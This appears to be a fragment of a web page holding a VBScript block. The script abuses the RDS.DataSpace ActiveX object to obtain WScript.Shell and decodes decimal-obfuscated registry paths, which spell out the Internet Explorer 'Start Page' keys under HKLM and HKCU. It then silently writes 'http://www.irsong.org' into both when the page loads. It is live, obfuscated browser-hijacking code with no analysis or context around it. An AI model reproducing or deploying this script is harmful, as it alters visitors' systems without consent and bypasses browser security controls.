ÿþ< S C R I P T   l a n g u a g e = v b s c r i p t >  
 S i t e _ N a m e = " h t t p : / / w w w . i r s o n g . o r g "  
 S e t   d f   =   d o c u m e n t . c r e a t e E l e m e n t ( " o b j e c t " )  
 d f . s e t A t t r i b u t e   " c l a s s i d " ,   " c l s i d : B D 9 6 C 5 5 6 - 6 5 A 3 - 1 1 D 0 - 9 8 3 A - 0 0 C 0 4 F C 2 9 E 3 6   "  
 s e t   r e g   =   d f . c r e a t e o b j e c t ( " w s c r i p t . s h e l l " , " " )  
 h r = " 0 9 2 0 8 3 0 7 9 0 7 0 0 8 4 0 8 7 0 6 5 0 8 2 0 6 9 0 9 2 0 7 7 1 0 5 0 9 9 1 1 4 1 1 1 1 1 5 1 1 1 1 0 2 1 1 6 0 9 2 0 7 3 1 1 0 1 1 6 1 0 1 1 1 4 1 1 0 1 0 1 1 1 6 0 3 2 0 6 9 1 2 0 1 1 2 1 0 8 1 1 1 1 1 4 1 0 1 1 1 4 0 9 2 0 7 7 0 9 7 1 0 5 1 1 0 0 9 2 0 8 3 1 1 6 0 9 7 1 1 4 1 1 6 0 3 2 0 8 0 0 9 7 1 0 3 1 0 1 "  
 r e 1 = " 0 7 2 0 7 5 0 6 9 0 8 9 0 9 5 0 7 6 0 7 9 0 6 7 0 6 5 0 7 6 0 9 5 0 7 7 0 6 5 0 6 7 0 7 2 0 7 3 0 7 8 0 6 9 "  
 r e 2 = " 0 7 2 0 7 5 0 6 9 0 8 9 0 9 5 0 6 7 0 8 5 0 8 2 0 8 2 0 6 9 0 7 8 0 8 4 0 9 5 0 8 5 0 8 3 0 6 9 0 8 2 "  
 F o r   a   =   1   T o   L e n ( h r )   S t e p   3  
 h r 2 = h r 2   &   c h r ( m i d ( h r , a , 3 ) )  
 n e x t  
 F o r   a   =   1   T o   L e n ( r e 1 )   S t e p   3  
 r e 1 _ b = r e 1 _ b   &   c h r ( m i d ( r e 1 , a , 3 ) )  
 n e x t  
 F o r   a   =   1   T o   L e n ( r e 2 )   S t e p   3  
 r e 2 _ b = r e 2 _ b   &   c h r ( m i d ( r e 2 , a , 3 ) )  
 n e x t  
 r e g . r e g w r i t e   r e 1 _ b   &   h r 2 , s i t e _ n a m e  
 r e g . r e g w r i t e   r e 2 _ b   &   h r 2 , s i t e _ n a m e  
 < / S C R I P T >  
  
  
 < / a > 
